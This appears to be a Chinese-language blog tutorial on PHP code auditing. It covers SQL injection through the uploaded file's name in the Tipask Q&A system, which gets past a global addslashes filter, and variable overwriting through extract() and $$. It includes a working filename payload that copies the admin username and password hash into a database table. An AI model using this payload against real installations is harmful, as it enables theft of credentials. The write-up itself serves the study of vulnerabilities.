0x00 前言
接下来是全局防护存在的盲点下篇,盲点如下:
1)FILES
注入,全局只转义掉GET
、POST
等传来的参数,遗漏了FILES
;
2)变量覆盖,危险函数:extract()
、parse_str()
、$$
。
0x01 准备
知识储备:php
基础、MySql
入门
工具:notepad++
服务器环境:wamp
测试代码: 见文中
0x02 全局防护盲点总结下篇的脑图
0x03 FILES注入
FILES
注入一般情况是是因为上传时把上传的名字带到insert
入库产生的,这里看下tipask
问答系统,首先看看它的全局防护是怎么处理的:
index.php
里:
include TIPASK_ROOT . '/model/tipask.class.php';
$tipask = new tipask();
$tipask->run();
跟进到/model/tipask.class.php
:
function init_request(){
......
$this->get = taddslashes($this->get, 1);
$this->post = taddslashes(array_merge($_GET, $_POST));
checkattack($this->post, 'post');
checkattack($this->get, 'get');
unset($_POST);
}
可以看到对get
和post
传来的数据进行了addslashes
特殊转义处理,对$_FILES
没有任何处理操作,我们全局搜索$_FILES
,发现/control/attach.php
有上传处理,我们跟进:
function onupload() {
//上传配置
$config = array(
"uploadPath" => "data/attach/", //保存路径
"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
"fileSize" => 10 //文件大小限制,单位MB
);
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
$state = "SUCCESS";
$clientFile = $_FILES["upfile"];
if (!isset($clientFile)) {
echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
exit;
}
//格式验证
$current_type = strtolower(strrchr($clientFile["name"], '.'));
if (!in_array($current_type, $config['fileType'])) {
$state = "不支持的文件类型!";
}
//大小验证
$file_size = 1024 * 1024 * $config['fileSize'];
if ($clientFile["size"] > $file_size) {
$state = "文件大小超出限制!";
}
//保存文件
if ($state == "SUCCESS") {
$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
if (!$result) {
$state = "文件保存失败!";
} else {
$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
}
}
//向浏览器返回数据json数据
echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';
}
可以看到这句$_ENV['attach']->add($clientFile["name"]…)
,将$clientFile[name] = $_FILES["upfile"][name]
带入了如下add
入库的操作,从而造成注入。
跟进对应的add
方法:
attach.class.php
:
<?php
...
function add($filename,$ftype,$fsize,$location,$isimage=1) {
$uid=$this->base->user['uid'];
$this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");
return $this->db->insert_id();
}
?>
上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:
filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"
执行的语句:
INSERT INTO ask_attach(time,filename,filetype,filesize,location,isimage,uid) VALUES (1553056615,'1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg','.jpg','10508','data/attach/1903/XNhgshMb.jpg',1,1)
数据库里成功将管理员账户密码插入到attach
表中:
select * from `ask_attach` limit 0,30;
0x04 变量覆盖
出现比较多的是extract
函数,例如extract($_POST)
会直接从POST
数组中取出变量,覆盖掉之前的一些变量。
<?php
$a=222333;
@extract($_POST);
print_r($a);
?>
浏览器里post
直接传a=1
发现成功覆盖了变量a
的值
之前出现过案例是覆盖表前缀上,例如sql
执行语句如下:
select title,content from {$pre}news where id=1
然后攻击者直接浏览器提交pre=获取敏感信息的语句
来覆盖表前缀从而实现注入攻击。
$$
变量覆盖
原理其实跟上面一样,有个很经典的$$
变量覆盖的代码:
<?php
$a=22333;
foreach(array('_COOKIE','_POST','_GET') as $_request){
foreach ($$_request as $_key => $_value) {
$$_key=addslashes($_value);
}
}
echo $a;
?>
测试发现成功覆盖了变量a
:
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章